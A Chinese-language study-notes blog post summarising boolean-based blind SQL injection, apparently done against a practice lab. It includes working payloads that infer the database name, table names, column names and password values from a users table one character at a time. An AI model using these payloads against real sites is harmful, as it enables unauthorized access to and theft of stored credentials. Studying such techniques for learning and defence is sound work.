SQL注入——布爾盲注

前不久又學習了sql注入的布爾盲注,現在總結一下。
布爾盲注的前提:沒有顯示位,沒有sql語句執行錯誤的信息(和聯合查詢就不同了)。只能通過頁面返回正常不正常來判斷是否存在注入。

1.當然第一步還是判斷閉合符號,這是基礎。這都搞不了,下面就無法進行了。

2.第二部就是判斷數據庫的長度。

我們需要知道這一函數 1’ and (length(database())=8)–+,通過它來判斷數據庫的長度,當然=可以換成 >,< ,但是無論怎麼換我們都是要縮小數據庫長度的範圍,最終確定數據庫的長度。
在這裏插入圖片描述
在這裏插入圖片描述
上面輸入8,頁面返回正常;然而輸入9就出現異常。從而就可以判斷出數據庫名稱的長度爲8。

3.判斷數據庫名。

我們要使用 1’ and (ascii(substr(database(),1,1))>97)–+,來一一判斷數據庫的ascii值。最終得到數據庫的名稱。
在這裏插入圖片描述
在這裏插入圖片描述
在上面輸入114發現頁面正常,115卻頁面不正常,從而判斷出數據庫第一個的開頭的ascii值爲115,也就是s。
我們需要了解相關的函數:
length()返回字符串的長度
substr()截取字符串的字符
database(),返回當前數據庫名
第一個1,表示截取字符串的起始位置。 第二個1,表示截取字符串長度 語句作用:判斷第一個庫第一個字符是什麼
ascii()將字符串轉換成其ASCII碼

把第一個1換成2,就會出現第二個字符的值。以此輪迴,最終就會確定數據庫的名稱。

4.爆出表名。

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

同樣也是通過ascii來一一判斷出表名。通過修改 limit 0,1 來獲取其他表名。

5.曝出列名。

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+

也是修改limit後面的值來爆出列名。

6.爆值。

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+  

同上。
這個過程是非常漫長的。我們也有其他的方法進行盲注。用python腳本,和burp更加簡單。
大佬博客burp進行盲注
布爾盲注
小白持續更新中!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章